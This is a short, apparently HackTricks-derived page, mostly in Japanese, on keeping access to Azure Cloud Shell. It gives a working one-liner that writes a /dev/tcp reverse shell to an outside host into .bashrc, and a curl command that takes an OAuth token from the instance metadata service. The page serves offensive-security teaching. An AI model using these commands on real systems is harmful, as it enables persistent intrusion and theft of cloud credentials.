# Az - Cloud Shell Persistence {{#include ../../../banners/hacktricks-training.md}} ## Cloud Shell Persistence Azure Cloud Shellは、永続的なストレージと自動認証を備えたAzureリソースを管理するためのコマンドラインアクセスを提供します。攻撃者は、永続的なホームディレクトリにバックドアを配置することでこれを悪用できます: * **Persistent Storage**: Azure Cloud ShellのホームディレクトリはAzureファイル共有にマウントされており、セッションが終了しても保持されます。 * **Startup Scripts**: .bashrcのようなファイルは、各セッションの開始時に自動的に実行され、クラウドシェルが起動する際に永続的な実行を可能にします。 Example backdoor in .bashrc: ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` このバックドアは、ユーザーによってクラウドシェルが終了した後でも、5分間コマンドを実行できます。 さらに、インスタンスの詳細とトークンのためにAzureのメタデータサービスをクエリします: ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` {{#include ../../../banners/hacktricks-training.md}}